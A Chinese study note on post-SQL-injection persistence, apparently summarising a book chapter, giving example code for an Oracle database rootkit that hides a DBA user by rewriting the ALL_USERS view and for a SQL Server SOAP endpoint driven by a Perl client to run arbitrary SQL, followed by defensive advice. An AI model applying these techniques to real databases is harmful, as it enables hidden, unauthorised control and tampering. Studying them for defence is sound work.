SQL注入与防御-第六章-3:利用操作系统--巩固访问

一、核心逻辑与价值

"巩固访问" 是 SQL 注入攻击的持久化控制阶段,通过篡改数据库权限、植入隐蔽后门(如 "数据库 rootkit" )、利用系统组件(如 SQL Server SOAP 端点 ),实现对数据库及关联服务器的长期控制,绕过常规防御检测,扩大攻击影响。

二、技术实现与典型场景

(一)数据库 Rootkit 植入(以 Oracle 为例)

1. 原理

通过篡改数据库元数据、系统视图,隐藏恶意用户、权限或操作,类似操作系统 Rootkit 对系统进程、文件的隐藏,使攻击行为长期潜伏。

2. 实施步骤(示例代码)

sql 复制代码
- 1. 创建隐蔽用户(需 DBA 权限)
GRANT DBA TO hidden IDENTIFIED BY hidden_2009;
-- 2. 禁用多进程(干扰系统审计)
SELECT sys.kupp$proc.disable_multiprocess FROM dual;
-- 3. 篡改用户标识(伪装为 SYS 用户)
SQL> exec sys.kupp$proc.change_user('SYS');
-- 4. 隐藏用户(修改系统视图过滤条件)
UPDATE sys.users SET temp#='666' WHERE name='HIDDEN';
-- 5. 创建伪造视图(从 ALL_USERS/DBA_USERS 中隐藏恶意用户)
CREATE OR REPLACE FORCE VIEW "SYS"."ALL_USERS" ("USERNAME", "USER_ID", "CREATED") AS
SELECT u.name, u.user# , u.ctime
FROM sys.user$ u, sys.ts$ dts, sys.ts$ tts
WHERE u.datats# = dts.ts#
AND u.tempts# = tts.ts#
AND u.type != 1 -- 过滤恶意用户类型
AND u.temp# != '666'; -- 过滤标记用户

3. 防御难点

  • 直接篡改系统表 / 视图,突破常规权限审计;
  • 依赖数据库高权限(如 DBA ),攻击成功后难以追溯。

(二)利用 SQL Server SOAP 端点持久化控制

1. 原理

通过 CREATE ENDPOINT 命令创建 SOAP 端点,将 SQL 执行能力绑定到 HTTP 服务,实现跨协议控制(从数据库注入延伸到 Web 服务接口 ),绕过传统数据库防御。

2. 实施步骤(示例代码)

sql 复制代码
- 创建 SOAP 端点(需高权限,如 sysadmin )
EXEC ('CREATE ENDPOINT ep2 STATE=STARTED AS HTTP
( PATH = ''/sp'', PORTS=(CLEAR), AUTHENTICATION=(INTEGRATED) )
FOR SOAP (BATCHES=ENABLED)');
-- 通过 SOAP 端点执行任意 SQL(示例:篡改 Web 页面)
-- 构造 Perl SOAP 请求(简化示例)
use SOAP::Lite;
my $soap = SOAP::Lite->uri('http://schemas.microsoft.com/sql/2004/08/server');
my $result = $soap->Execute( SOAP::Data->name('sql' => 'UPDATE test SET content = ''Hacked'' WHERE id=1')
)->result;

3. 攻击链扩展

  • 绑定到 IIS 同一内核组件(http.sys ),利用 SQL Server 高权限篡改 Web 内容;
  • 结合 sqlbatch 方法,通过 SOAP 远程执行 T-SQL 语句,实现命令执行、权限维持。

(三)主流数据库 Rootkit 与防御启示

1. 典型工具与案例

  • SQL Server :利用 http.sys 暴露 SOAP 端点,创建隐蔽通信通道;
  • Oracle :通过修改 ALL_USERS DBA_USERS 视图隐藏用户,结合 sys.kupp$proc 篡改系统状态;
  • 历史案例:Chris Anley 的 "三字节补丁"(反转条件跳转逻辑禁用系统验证 )、Alexander Kornbrust 揭露的数据库 Rootkit 家族。

2. 防御思路

  • 元数据审计 :定期检查系统表(如 sys.users ALL_USERS )、视图的异常变更,对比官方 schema 哈希;
  • 功能限制 :禁用不必要的数据库功能(如 CREATE ENDPOINT sys.kupp$proc ),最小化攻击面;
  • 行为监控 :通过数据库审计工具(如 SQL Server Audit、Oracle Audit Vault )追踪高权限操作(如 GRANT DBA CREATE VIEW )。

三、总结

"巩固访问" 是 SQL 注入攻击的持久化阶段 ,利用数据库 Rootkit、系统组件扩展(如 SOAP 端点 ),实现长期控制与隐蔽渗透。防御需聚焦元数据审计、功能最小化、行为监控,切断攻击的持久化链路。此类攻击依赖高权限,因此权限收缩与实时审计是核心防御手段。

相关推荐
码农-0046 小时前
Springboot 集成 Ehcache操作数据库显示SQL语句设置
数据库·spring boot·sql
钱栈up6 小时前
全量 21 个失败、单跑全绿:泄漏进连接池的 SQL 变量
sql·单元测试·测试
旺仔不是程序员6 小时前
pg_trgm GIN 索引:PostgreSQL 正则、模糊与近似度查询的三合一加速器
数据库·后端·sql
考虑考虑7 小时前
SQL中的 CASE WHEN
数据库·后端·sql
旺仔不是程序员7 小时前
索引膨胀与重建:PostgreSQL REINDEX 生产实践
数据库·后端·sql
云水一下6 天前
零基础玩转bWAPP靶场(七十一):Slow HTTP DoS(慢速HTTP拒绝服务)
web安全·bwapp·slowhttptest
漂着的圆木6 天前
Agent 功能参与度:Copilot 怎么算
sql·数据分析·agent·githubcopilot·度量
XUEYUAN52126 天前
ASN 自治系统号风控:平台如何通过 IP 所属自治域批量识别代理流量
python·网络协议·http·网络安全·socks5
其实防守也摸鱼6 天前
内网穿透与反向代理:原理、工具与实战指南
android·大数据·运维·安全·网络安全·自动化·渗透
TechEdu2026066 天前
[人工智能]人工智能时代的零日漏洞与零日攻击
人工智能·网络安全·ai·信息安全